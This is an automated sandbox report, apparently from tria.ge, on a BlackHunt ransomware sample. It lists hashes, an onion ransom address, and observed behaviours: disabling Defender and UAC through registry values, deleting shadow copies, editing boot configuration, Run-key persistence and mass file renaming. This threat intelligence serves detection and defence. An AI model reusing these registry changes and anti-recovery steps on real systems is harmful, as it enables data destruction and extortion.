Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
194s -
max time network
135s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:57
Static task
static1
Behavioral task
behavioral1
Sample
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe
Resource
win10v2004-20231222-en
General
-
Target
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe
-
Size
707KB
-
MD5
ac8dca59890597e09a6c1a782bb69f58
-
SHA1
1fb4fb84f077b4e54075afd4962e8afbc3fb2169
-
SHA256
817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777
-
SHA512
49380a72649985676e2dab1040cc6690d8659b69a1b9bae76ba1db9ef9b2b302eb91b7468ad2aa34ebffa019d9573a6956199186b4b143040f686e1ebf236aa0
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1A8bvnh:6uaTmkZJ+naie5OTamgEoKxLWTLh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 308 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2804 bcdedit.exe 1480 bcdedit.exe -
Renames multiple (2317) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2096 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\L: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\E: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\Z: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\T: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\H: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\S: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\V: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\B: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\R: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\U: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\O: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\Y: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\P: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\K: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\M: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\I: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\N: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\W: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\A: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\J: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened (read-only) \??\X: 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_ja_4.4.0.v20140623020002.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\plugin.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-tabcontrol_ja.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jre7\lib\zi\Africa\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jre7\lib\zi\America\Kentucky\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Efate 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Baghdad 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_hu.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.runtime_3.10.0.v20140318-2214.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Metlakatla 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jre7\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh88 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Athens 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_SelectionSubpicture.png 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Mendoza 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicHandle.png 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+4 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_ja.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_zh_CN.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\GroupWait.dib 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text_3.5.300.v20130515-1451.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-util-lookup.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_ja.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.servlet_1.1.500.v20140318-1755.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\scene_button_style_default_Thumbnail.bmp 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_ja.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\DVD Maker\offset.ax 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_pt_BR.properties 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Faroe 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Khandyga 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_Private.key 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Abidjan 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#BlackHunt_ReadMe.hta 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.ja_5.5.0.165303.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Merida 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jdk1.7.0_80\db\lib\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunec.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_ja.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\calendars.properties 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File created C:\Program Files\Java\jre7\lib\zi\Europe\#BlackHunt_ReadMe.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+3 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs-nio2.jar 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-output2.xml 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-api.xml 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\7-Zip\Lang\sv.txt 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-bullet.png 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Resolute 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1032 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2384 vssadmin.exe 1564 vssadmin.exe 2144 vssadmin.exe 284 vssadmin.exe 2784 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeRestorePrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeBackupPrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeTakeOwnershipPrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeAuditPrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeSecurityPrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeIncBasePriorityPrivilege 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Token: SeBackupPrivilege 2444 vssvc.exe Token: SeRestorePrivilege 2444 vssvc.exe Token: SeAuditPrivilege 2444 vssvc.exe Token: SeBackupPrivilege 1356 wbengine.exe Token: SeRestorePrivilege 1356 wbengine.exe Token: SeSecurityPrivilege 1356 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2708 wrote to memory of 2604 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 30 PID 2708 wrote to memory of 2604 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 30 PID 2708 wrote to memory of 2604 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 30 PID 2708 wrote to memory of 2604 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 30 PID 2708 wrote to memory of 2624 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 31 PID 2708 wrote to memory of 2624 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 31 PID 2708 wrote to memory of 2624 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 31 PID 2708 wrote to memory of 2624 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 31 PID 2708 wrote to memory of 2652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 32 PID 2708 wrote to memory of 2652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 32 PID 2708 wrote to memory of 2652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 32 PID 2708 wrote to memory of 2652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 32 PID 2708 wrote to memory of 2668 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 33 PID 2708 wrote to memory of 2668 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 33 PID 2708 wrote to memory of 2668 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 33 PID 2708 wrote to memory of 2668 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 33 PID 2708 wrote to memory of 2888 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 37 PID 2708 wrote to memory of 2888 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 37 PID 2708 wrote to memory of 2888 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 37 PID 2708 wrote to memory of 2888 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 37 PID 2708 wrote to memory of 2444 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 38 PID 2708 wrote to memory of 2444 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 38 PID 2708 wrote to memory of 2444 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 38 PID 2708 wrote to memory of 2444 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 38 PID 2708 wrote to memory of 2572 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 40 PID 2708 wrote to memory of 2572 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 40 PID 2708 wrote to memory of 2572 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 40 PID 2708 wrote to memory of 2572 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 40 PID 2708 wrote to memory of 2796 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 140 PID 2708 wrote to memory of 2796 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 140 PID 2708 wrote to memory of 2796 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 140 PID 2708 wrote to memory of 2796 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 140 PID 2708 wrote to memory of 2820 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 150 PID 2708 wrote to memory of 2820 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 150 PID 2708 wrote to memory of 2820 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 150 PID 2708 wrote to memory of 2820 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 150 PID 2708 wrote to memory of 2792 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 48 PID 2708 wrote to memory of 2792 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 48 PID 2708 wrote to memory of 2792 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 48 PID 2708 wrote to memory of 2792 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 48 PID 2708 wrote to memory of 2840 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 49 PID 2708 wrote to memory of 2840 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 49 PID 2708 wrote to memory of 2840 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 49 PID 2708 wrote to memory of 2840 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 49 PID 2708 wrote to memory of 2812 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 50 PID 2708 wrote to memory of 2812 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 50 PID 2708 wrote to memory of 2812 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 50 PID 2708 wrote to memory of 2812 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 50 PID 2708 wrote to memory of 2980 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 52 PID 2708 wrote to memory of 2980 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 52 PID 2708 wrote to memory of 2980 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 52 PID 2708 wrote to memory of 2980 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 52 PID 2708 wrote to memory of 1556 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 54 PID 2708 wrote to memory of 1556 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 54 PID 2708 wrote to memory of 1556 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 54 PID 2708 wrote to memory of 1556 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 54 PID 2708 wrote to memory of 1700 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 56 PID 2708 wrote to memory of 1700 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 56 PID 2708 wrote to memory of 1700 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 56 PID 2708 wrote to memory of 1700 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 56 PID 2708 wrote to memory of 1652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 57 PID 2708 wrote to memory of 1652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 57 PID 2708 wrote to memory of 1652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 57 PID 2708 wrote to memory of 1652 2708 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe"C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2708 -
